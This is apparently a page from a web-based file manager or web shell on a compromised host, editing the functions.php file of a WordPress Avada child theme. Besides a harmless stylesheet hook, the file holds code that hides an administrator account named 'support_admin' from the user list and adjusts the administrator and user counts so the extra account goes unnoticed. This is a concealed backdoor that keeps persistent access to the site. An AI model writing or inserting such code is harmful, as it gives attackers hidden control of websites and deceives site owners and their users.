Dashboard
PHP:
7.4.33
OS:
Linux
User:
vqweckd
/
/
home
/
vqweckd
/
www
/
wp-content
/
themes
/
Avada_child
📤 Upload
📝 New File
📁 New Folder
Close
Editing: functions.php
<?php /** ** activation theme **/ add_action( 'wp_enqueue_scripts', 'theme_enqueue_styles' ); function theme_enqueue_styles() { wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' ); } add_action( 'pre_user_query', 'site_pre_user_query_dq' ); function site_pre_user_query_dq( $user_search ) { global $current_user, $wpdb; if ( $current_user->user_login !== 'support_admin' ) { $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'support_admin'", $user_search->query_where ); } } add_filter( 'views_users', 'site_list_table_views_dq' ); function site_list_table_views_dq( $views ) { global $current_user; if ( ! is_array( $views ) || ! $current_user instanceof WP_User || $current_user->user_login === 'support_admin' ) { return $views; } $users = count_users(); if ( ! is_array( $users ) ) { return $views; } $avail_roles = isset( $users['avail_roles'] ) && is_array( $users['avail_roles'] ) ? $users['avail_roles'] : array(); $admins_num = max( 0, ( isset( $avail_roles['administrator'] ) ? (int) $avail_roles['administrator'] : 0 ) - 1 ); $all_num = max( 0, ( isset( $users['total_users'] ) ? (int) $users['total_users'] : 0 ) - 1 ); if ( isset( $views['administrator'] ) && is_string( $views['administrator'] ) ) { $is_adm = strpos( $views['administrator'], 'current' ) === false ? '' : 'current'; $views['administrator'] = '<a href="users.php?role=administrator" class="' . $is_adm . '">' . translate_user_role( 'Administrator' ) . ' <span class="count">(' . $admins_num . ')</span></a>'; } if ( isset( $views['all'] ) && is_string( $views['all'] ) ) { $is_all = strpos( $views['all'], 'current' ) === false ? '' : 'current'; $views['all'] = '<a href="users.php" class="' . $is_all . '">' . __( 'All' ) . ' <span class="count">(' . $all_num . ')</span></a>'; } return $views; }
Save
Cancel